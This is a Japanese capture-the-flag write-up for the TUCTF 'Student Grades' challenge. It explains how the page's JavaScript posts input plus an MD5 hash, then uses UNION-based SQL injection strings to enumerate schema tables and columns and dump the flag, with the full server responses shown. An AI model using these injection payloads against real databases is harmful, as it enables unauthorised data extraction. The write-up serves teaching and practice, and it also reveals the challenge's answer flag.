Student Grades

50

We are trying to find out what our grade was, but we don't seem to be in the database...

Can you help us out?

http://104.199.151.39/index.html

問題で与えられているURLにアクセスすると、次のページが表示されます。

no title

このページのソースを確認すると、次のjavascriptのコードが書かれています。「Enter name」に入力された文字列とそのMD5ハッシュ値をスペースで連結してpostQuery.phpに渡しています。SQLインジェクションができそうです。
<script>
  document.getElementById('submit').addEventListener('click',
    function(event){
      event.preventDefault();
      var input = document.getElementById('info');
      //var query = 'SELECT * from Names where name=\'' + input.value + '\'';
      var inp_str = input.value;
      inp_str = inp_str.replace(/\W+/g, " ");
      var md5_str = md5(inp_str);
      var send_str = inp_str+' '+md5_str;
      var post_data = {name: send_str, submit:1};
      $.ajax({
          type: "POST",
          url: "http://104.199.151.39/postQuery.php",
          data: post_data,
          success: function(data){document.getElementById('results').innerHTML=data;}
      });
    }
  );
</script>
それでは、FiddlerでpostQuery.phpへのリクエストを「Replay」→「Reissue and Edit」します。まず、INFORMATION_SCHEMA.TABLESからテーブル名を取得します。次のSQL文字列を入力します。
aaa%' union select TABLE_SCHEMA,TABLE_NAME from INFORMATION_SCHEMA.TABLES;#
この文字列のMD5ハッシュ値は、
8af3dfe6be084a21939a49551f6463a3
です。したがって、下図のようにリクエストを作成します。

3

次のようなレスポンスが返ってきます。下2行に出力されているテーブルが怪しいですね。

<!--HI!--><!--Good auth!--><!--SELECT * FROM tuctf_grades WHERE name LIKE '%aaa%' union select TABLE_SCHEMA,TABLE_NAME from INFORMATION_SCHEMA.TABLES;#%';--><tr><th>Name</th><th>Grade</th></tr><tr><td>information_schema</td><td>CHARACTER_SETS</td></tr>

<tr><td>information_schema</td><td>COLLATIONS</td></tr>

<tr><td>information_schema</td><td>COLLATION_CHARACTER_SET_APPLICABILITY</td></tr>

<tr><td>information_schema</td><td>COLUMNS</td></tr>

<tr><td>information_schema</td><td>COLUMN_PRIVILEGES</td></tr>

<tr><td>information_schema</td><td>ENGINES</td></tr>

<tr><td>information_schema</td><td>EVENTS</td></tr>

<tr><td>information_schema</td><td>FILES</td></tr>

<tr><td>information_schema</td><td>GLOBAL_STATUS</td></tr>

<tr><td>information_schema</td><td>GLOBAL_VARIABLES</td></tr>

<tr><td>information_schema</td><td>KEY_COLUMN_USAGE</td></tr>

<tr><td>information_schema</td><td>PARAMETERS</td></tr>

<tr><td>information_schema</td><td>PARTITIONS</td></tr>

<tr><td>information_schema</td><td>PLUGINS</td></tr>

<tr><td>information_schema</td><td>PROCESSLIST</td></tr>

<tr><td>information_schema</td><td>PROFILING</td></tr>

<tr><td>information_schema</td><td>REFERENTIAL_CONSTRAINTS</td></tr>

<tr><td>information_schema</td><td>ROUTINES</td></tr>

<tr><td>information_schema</td><td>SCHEMATA</td></tr>

<tr><td>information_schema</td><td>SCHEMA_PRIVILEGES</td></tr>

<tr><td>information_schema</td><td>SESSION_STATUS</td></tr>

<tr><td>information_schema</td><td>SESSION_VARIABLES</td></tr>

<tr><td>information_schema</td><td>STATISTICS</td></tr>

<tr><td>information_schema</td><td>TABLES</td></tr>

<tr><td>information_schema</td><td>TABLESPACES</td></tr>

<tr><td>information_schema</td><td>TABLE_CONSTRAINTS</td></tr>

<tr><td>information_schema</td><td>TABLE_PRIVILEGES</td></tr>

<tr><td>information_schema</td><td>TRIGGERS</td></tr>

<tr><td>information_schema</td><td>USER_PRIVILEGES</td></tr>

<tr><td>information_schema</td><td>VIEWS</td></tr>

<tr><td>information_schema</td><td>INNODB_BUFFER_PAGE</td></tr>

<tr><td>information_schema</td><td>INNODB_TRX</td></tr>

<tr><td>information_schema</td><td>INNODB_BUFFER_POOL_STATS</td></tr>

<tr><td>information_schema</td><td>INNODB_LOCK_WAITS</td></tr>

<tr><td>information_schema</td><td>INNODB_CMPMEM</td></tr>

<tr><td>information_schema</td><td>INNODB_CMP</td></tr>

<tr><td>information_schema</td><td>INNODB_LOCKS</td></tr>

<tr><td>information_schema</td><td>INNODB_CMPMEM_RESET</td></tr>

<tr><td>information_schema</td><td>INNODB_CMP_RESET</td></tr>

<tr><td>information_schema</td><td>INNODB_BUFFER_PAGE_LRU</td></tr>

<tr><td>tuctf</td><td>tuctf_grades</td></tr>

<tr><td>tuctf</td><td>tuctf_info</td></tr>

<tr><td>tuctf</td><td>tuctf_junk</td></tr>

次にtuctf_infoテーブル、tuctf_junkの列名を確認します。次のようにSQLインジェクションします。

4

次のようにレスポンスが返ってきます。

<!--HI!--><!--Good auth!--><!--SELECT * FROM tuctf_grades WHERE name LIKE '%aaa%' union select TABLE_NAME,COLUMN_NAME from INFORMATION_SCHEMA.COLUMNS where TABLE_NAME LIKE 'tuctf_%';#%';--><tr><th>Name</th><th>Grade</th></tr><tr><td>tuctf_grades</td><td>name</td></tr>

<tr><td>tuctf_grades</td><td>grade</td></tr>

<tr><td>tuctf_info</td><td>item</td></tr>

<tr><td>tuctf_info</td><td>value</td></tr>

<tr><td>tuctf_junk</td><td>item</td></tr>

<tr><td>tuctf_junk</td><td>owner</td></tr>

最後に、tuctf_infoテーブルの情報をとります。次のようにリクエストを投げます。

5

フラグを得ることができました。
<!--HI!--><!--Good auth!--><!--SELECT * FROM tuctf_grades WHERE name LIKE '%aaa%' union select * from tuctf_info;#%';--><tr><th>Name</th><th>Grade</th></tr><tr><td>flag</td><td>TUCTF{v4ccinate_y0ur_databa5e5}</td></tr>

フラグは、
TUCTF{v4ccinate_y0ur_databa5e5}
です。